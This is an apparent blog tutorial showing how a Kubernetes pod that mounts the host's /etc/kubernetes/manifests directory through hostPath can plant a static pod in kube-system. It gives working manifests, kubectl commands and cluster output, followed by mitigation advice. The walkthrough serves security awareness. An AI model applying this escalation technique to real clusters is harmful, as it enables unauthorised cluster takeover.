Understanding the Risks: Injecting Malicious Pods via hostPath in Kubernetes due to Misconfigurations

In this small article, we are going to focus on one of the simplest yet potentially destructive Kubernetes vulnerabilities. While there are multiple layers of security in Kubernetes, this specific configuration vulnerability can be exploited due to a lack of preventive security measures.

The vulnerability occurs when insecure configurations are used to mount “Hostpath” type volumes. When this configuration is misused or misconfigured, it can allow attackers to access sensitive files and directories like /etc/kubernetes/manifests on the underlying hosting system. This can lead to serious consequences, including modifying or deleting critical files, or even compromising the entire Kubernetes cluster.

It is therefore essential to take appropriate security measures to mitigate this vulnerability. This includes enforcing stringent access controls, limiting user privileges, using specific roles and permissions, and implementing strong security policies for handling hostpath volumes. . Additionally, it is recommended to follow Kubernetes security best practices and keep the system up to date with the most recent security patches.

It is important to emphasize that this vulnerability represents only one of many security considerations in Kubernetes. To ensure the overall security of your cluster, it is essential to implement a comprehensive approach to security, combining several layers of protection and applying the best practices recommended by the Kubernetes community.

Objective

Our goal is to inject any Pod configuration into a namespace different from ours without access.

To do this is not very complicated, start by creating a manifest containing the code of a config map with the configuration of the pod to inject and another with the launch of a pod by mounting the /etc/kubernetes/manifests directory.

---
apiVersion: v1
kind: ConfigMap
metadata:
  name: pod-config
  namespace: isolated
data:
  pod.yaml: |
    apiVersion: v1
    kind: Pod
    metadata:
      namespace: kube-system 
      name: escape-to-kubesystem
    spec:
      containers:
      - name: nginx-container
        image: nginx

---
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-inject
  namespace: isolated
spec:
  containers:
  - name: my-container
    image: ubuntu
    args: 
    - "sleep" 
    - "44444444"
    
    volumeMounts:
    - name: hostpath-volume
      mountPath: /hack/
    - name: cm-volume
      mountPath: /cm/

  volumes:
  - name: hostpath-volume
    hostPath:
      path: /etc/kubernetes/manifests/
  - name: cm-volume
    configMap:
      name: pod-config

Let’s apply the two manifests in our namespace.

kubectl create ns isolated 
Kubectl apply -f pod-cm.yaml -n isolated 
Kubectl apply -f pod.yaml -n isolated

Let’s connect to the POD and do a little check

$ kubectl exec -it -n isolated  hostpath-inject -- sh 
# cat /cm/pod.yaml
apiVersion: v1
kind: Pod
metadata:
  namespace: kube-system 
  name: escape-to-kubesystem
spec:
  containers:
  - name: nginx-container
    image: nginx
# 

Copy this file to the directory where we mounted the Host file /etc/kubernetes/manifests

 cp /cm/pod.yaml /hack/ 
# ls /hack 
kube-proxy.manifest  pod.yaml
#

Now let’s see what’s happening in the cluster.

vincn_ledan@cloudshell:~ (medium-article)$ kubectl get pods -n kube-system 
NAME                                                          READY   STATUS    RESTARTS   AGE
escape-to-kubesystem-gke-sysboot-default-pool-ea5ae6b7-kqc7   1/1     Running   0          55s

Indeed, in Kubernetes, the /etc/kubernetes/manifests directory is monitored by the Kubelet process to deploy StaticPods directly managed by itself. This means that any configuration pod file placed in this directory will be automatically deployed by Kubernetes.

This can pose a security risk if an unauthorized person manages to create a malicious configuration in this directory. Since the files in this directory are automatically deployed, incorrect or malicious configuration could impact the Kubernetes cluster.
It is therefore crucial to implement security measures to protect access to the /etc/kubernetes/manifests directory. This may include:

- Strict server-level access controls based on your situation
- Kubernetes security policies with solutions like OPA, kyverno, Sysdig,
- Strong authentications
- Monitoring and intrusion detection measures with solutions like Falco and automatic remediation with Sydig for example

Conclusion

We have just seen what mounting such a directory entails, but this is only a tiny part of the security issues in this type of environment.
In the next articles we will also look at other issues and how to mitigate them with Kyverno, OPA or Sysdig.